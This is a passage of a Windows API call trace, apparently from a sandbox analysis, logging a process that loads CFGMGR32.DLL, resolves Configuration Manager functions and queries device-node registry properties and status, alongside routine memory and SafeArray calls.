pulRegDataType=0x2dc22fd360, Buffer=0x20abc2807d0, pulLength=0x2dc22fd3f8) returned 0x0 [0201.396] free (_Block=0x20abc2807d0) [0201.396] malloc (_Size=0x48) returned 0x20abc27cb20 [0201.396] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x33ced0cc, dwHighDateTime=0x1d9eb0c)) [0201.396] SetEvent (hEvent=0x248) returned 1 [0201.401] malloc (_Size=0x18) returned 0x20abc281960 [0201.401] SafeArrayPutElement (psa=0x20abba80490, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0201.401] free (_Block=0x20abc281960) [0201.401] malloc (_Size=0x18) returned 0x20abc281aa0 [0201.401] SafeArrayPutElement (psa=0x20abba80490, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0201.401] free (_Block=0x20abc281aa0) [0201.402] malloc (_Size=0x18) returned 0x20abc281ae0 [0201.402] SafeArrayPutElement (psa=0x20abba80490, rgIndices=0x2dc22fd4c8, pv=0x20abba795e8) returned 0x0 [0201.402] free (_Block=0x20abc281ae0) [0201.402] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0cef0 [0201.402] SafeArrayGetDim (psa=0x20abba80490) returned 0x1 [0201.402] SafeArrayGetLBound (in: psa=0x20abba80490, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0201.402] SafeArrayGetUBound (in: psa=0x20abba80490, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0201.402] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0201.402] SafeArrayGetDim (psa=0x20abba80490) returned 0x1 [0201.402] SafeArrayGetUBound (in: psa=0x20abba80490, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0201.402] SafeArrayGetElemsize (psa=0x20abba80490) returned 0x8 [0201.402] SafeArrayGetElement (in: psa=0x20abba80490, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0201.403] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93af0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0201.403] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93af8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0201.403] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93b00, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0201.404] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0201.404] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0cef0) returned 1 [0201.405] malloc (_Size=0xd8) returned 0x20abc2867b0 [0201.405] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0201.405] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0201.405] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0201.405] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0201.406] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0201.406] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0201.406] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0201.406] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0201.406] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0201.407] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0201.407] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0201.408] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0201.408] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0201.408] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0201.408] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0201.408] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0201.408] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0201.409] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0201.409] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0201.409] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0201.409] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0201.409] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0201.410] malloc (_Size=0x18) returned 0x20abc281b20 [0201.410] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x24, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0201.572] malloc (_Size=0x48) returned 0x20abc27cb20 [0201.573] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x33e907d2, dwHighDateTime=0x1d9eb0c)) [0201.573] SetEvent (hEvent=0x248) returned 1 [0201.574] SetEvent (hEvent=0x248) returned 1 [0201.575] free (_Block=0x20abc27cb20) [0201.575] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x24, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0201.576] malloc (_Size=0x48) returned 0x20abc27cf80 [0201.576] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x33e907d2, dwHighDateTime=0x1d9eb0c)) [0201.576] SetEvent (hEvent=0x248) returned 1 [0201.577] SetEvent (hEvent=0x248) returned 1 [0201.578] free (_Block=0x20abc27cf80) [0201.578] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x24, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0201.579] malloc (_Size=0x48) returned 0x20abc27cb20 [0201.579] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x33eb69ca, dwHighDateTime=0x1d9eb0c)) [0201.579] SetEvent (hEvent=0x248) returned 1 [0201.580] SetEvent (hEvent=0x248) returned 1 [0201.580] free (_Block=0x20abc27cb20) [0201.580] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x24, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0201.581] malloc (_Size=0x48) returned 0x20abc27cb20 [0201.581] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x33eb69ca, dwHighDateTime=0x1d9eb0c)) [0201.581] SetEvent (hEvent=0x248) returned 1 [0201.583] SetEvent (hEvent=0x248) returned 1 [0201.584] free (_Block=0x20abc27cb20) [0201.584] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x24, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0201.586] malloc (_Size=0x48) returned 0x20abc27cb20 [0201.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x33eb69ca, dwHighDateTime=0x1d9eb0c)) [0201.586] SetEvent (hEvent=0x248) returned 1 [0201.587] SetEvent (hEvent=0x248) returned 1 [0201.587] free (_Block=0x20abc27cb20) [0201.587] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x24, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0201.588] malloc (_Size=0x48) returned 0x20abc27cb20 [0201.588] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x33eb69ca, dwHighDateTime=0x1d9eb0c)) [0201.588] SetEvent (hEvent=0x248) returned 1 [0201.590] SetEvent (hEvent=0x248) returned 1 [0201.591] free (_Block=0x20abc27cb20) [0201.591] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x24, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0201.591] malloc (_Size=0x48) returned 0x20abc27cb20 [0201.591] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x33eb69ca, dwHighDateTime=0x1d9eb0c)) [0201.591] SetEvent (hEvent=0x248) returned 1 [0201.593] SetEvent (hEvent=0x248) returned 1 [0201.594] free (_Block=0x20abc27cb20) [0201.594] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x24, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0201.594] malloc (_Size=0x48) returned 0x20abc27cb20 [0201.594] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x33edcca4, dwHighDateTime=0x1d9eb0c)) [0201.595] SetEvent (hEvent=0x248) returned 1 [0201.597] SetEvent (hEvent=0x248) returned 1 [0201.598] free (_Block=0x20abc27cb20) [0201.598] CM_Get_Device_IDA (in: dnDevInst=0x25, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\PRINTENUM\\{8E320CB0-49C6-48E6-BF25-A7ECE3AEB1B7}") returned 0x0 [0201.598] malloc (_Size=0x48) returned 0x20abc27cb20 [0201.598] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x33edcca4, dwHighDateTime=0x1d9eb0c)) [0201.598] SetEvent (hEvent=0x248) returned 1 [0201.599] SetEvent (hEvent=0x248) returned 1 [0201.600] free (_Block=0x20abc27cb20) [0201.600] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x25, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0201.601] malloc (_Size=0xae) returned 0x20abc286890 [0201.601] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x25, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286890, pulLength=0x2dc22fd3f8) returned 0x0 [0201.602] free (_Block=0x20abc286890) [0201.602] malloc (_Size=0x48) returned 0x20abc2a8460 [0201.602] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x33edcca4, dwHighDateTime=0x1d9eb0c)) [0201.603] SetEvent (hEvent=0x248) returned 1 [0201.603] malloc (_Size=0x18) returned 0x20abc281a20 [0201.603] SafeArrayPutElement (psa=0x20abba80110, rgIndices=0x2dc22fd4c8, pv=0x20abbb0cbf8) returned 0x0 [0201.603] free (_Block=0x20abc281a20) [0201.604] malloc (_Size=0x18) returned 0x20abc281b40 [0201.604] SafeArrayPutElement (psa=0x20abba80110, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0201.604] free (_Block=0x20abc281b40) [0201.604] malloc (_Size=0x18) returned 0x20abc281ac0 [0201.604] SafeArrayPutElement (psa=0x20abba80110, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0201.604] free (_Block=0x20abc281ac0) [0201.604] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0cef0 [0201.604] SafeArrayGetDim (psa=0x20abba80110) returned 0x1 [0201.604] SafeArrayGetLBound (in: psa=0x20abba80110, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0201.604] SafeArrayGetUBound (in: psa=0x20abba80110, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0201.604] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0201.604] SafeArrayGetDim (psa=0x20abba80110) returned 0x1 [0201.604] SafeArrayGetUBound (in: psa=0x20abba80110, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0201.604] SafeArrayGetElemsize (psa=0x20abba80110) returned 0x8 [0201.605] SafeArrayGetElement (in: psa=0x20abba80110, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0201.605] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93af0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0201.605] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93af8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0201.605] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93b00, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0201.606] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0201.606] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0cef0) returned 1 [0201.607] SetEvent (hEvent=0x248) returned 1 [0201.607] free (_Block=0x20abc2a8460) [0201.607] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x25, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0201.608] malloc (_Size=0x54) returned 0x20abc2a7060 [0201.608] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x25, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a7060, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a7060, pulLength=0x2dc22fd3f8) returned 0x0 [0201.608] free (_Block=0x20abc2a7060) [0201.609] malloc (_Size=0x48) returned 0x20abc27cf80 [0201.609] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x33edcca4, dwHighDateTime=0x1d9eb0c)) [0201.609] SetEvent (hEvent=0x248) returned 1 [0201.609] malloc (_Size=0x18) returned 0x20abc2819c0 [0201.609] SafeArrayPutElement (psa=0x20abba80910, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0201.609] free (_Block=0x20abc2819c0) [0201.753] malloc (_Size=0x18) returned 0x20abc281c60 [0201.754] SafeArrayPutElement (psa=0x20abba80910, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0201.754] free (_Block=0x20abc281c60) [0201.754] malloc (_Size=0x18) returned 0x20abc281fa0 [0201.754] SafeArrayPutElement (psa=0x20abba80910, rgIndices=0x2dc22fd4c8, pv=0x20abba795b8) returned 0x0 [0201.754] free (_Block=0x20abc281fa0) [0201.754] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d1f0 [0201.754] SafeArrayGetDim (psa=0x20abba80910) returned 0x1 [0201.754] SafeArrayGetLBound (in: psa=0x20abba80910, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0201.754] SafeArrayGetUBound (in: psa=0x20abba80910, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0201.754] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0201.754] SafeArrayGetDim (psa=0x20abba80910) returned 0x1 [0201.754] SafeArrayGetUBound (in: psa=0x20abba80910, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0201.754] SafeArrayGetElemsize (psa=0x20abba80910) returned 0x8 [0201.754] SafeArrayGetElement (in: psa=0x20abba80910, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0201.755] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93450, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0201.755] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93458, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0201.755] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93460, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0201.756] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0201.756] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d1f0) returned 1 [0201.757] malloc (_Size=0xd8) returned 0x20abc2867b0 [0201.757] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0201.757] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0201.757] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0201.757] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0201.757] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0201.758] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0201.758] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0201.758] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0201.758] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0201.758] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0201.758] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0201.758] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0201.759] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0201.759] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0201.759] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0201.759] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0201.759] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0201.759] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0201.759] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0201.759] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0201.760] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0201.760] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0201.760] malloc (_Size=0x18) returned 0x20abc281c20 [0201.760] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x25, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0201.760] malloc (_Size=0x48) returned 0x20abc27cf80 [0201.760] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3405aabf, dwHighDateTime=0x1d9eb0c)) [0201.761] SetEvent (hEvent=0x248) returned 1 [0201.763] malloc (_Size=0xd8) returned 0x20abc2867b0 [0201.763] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0201.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0201.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0201.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0201.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0201.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0201.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0201.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0201.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0201.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0201.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0201.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0201.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0201.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0201.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0201.766] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0201.766] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0201.766] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0201.766] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0201.766] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0201.766] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0201.767] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0201.767] malloc (_Size=0x18) returned 0x20abc2819c0 [0201.767] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x25, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0201.767] malloc (_Size=0x48) returned 0x20abc27cf80 [0201.767] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x34080a92, dwHighDateTime=0x1d9eb0c)) [0201.767] SetEvent (hEvent=0x248) returned 1 [0201.770] malloc (_Size=0xd8) returned 0x20abc2867b0 [0201.770] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0201.771] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0201.771] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0201.771] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0201.771] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0201.771] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0201.771] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0201.772] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0201.772] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0201.772] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0201.772] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0201.772] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0201.772] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0201.773] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0201.773] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0201.773] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0201.773] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0201.773] GetProcAddress 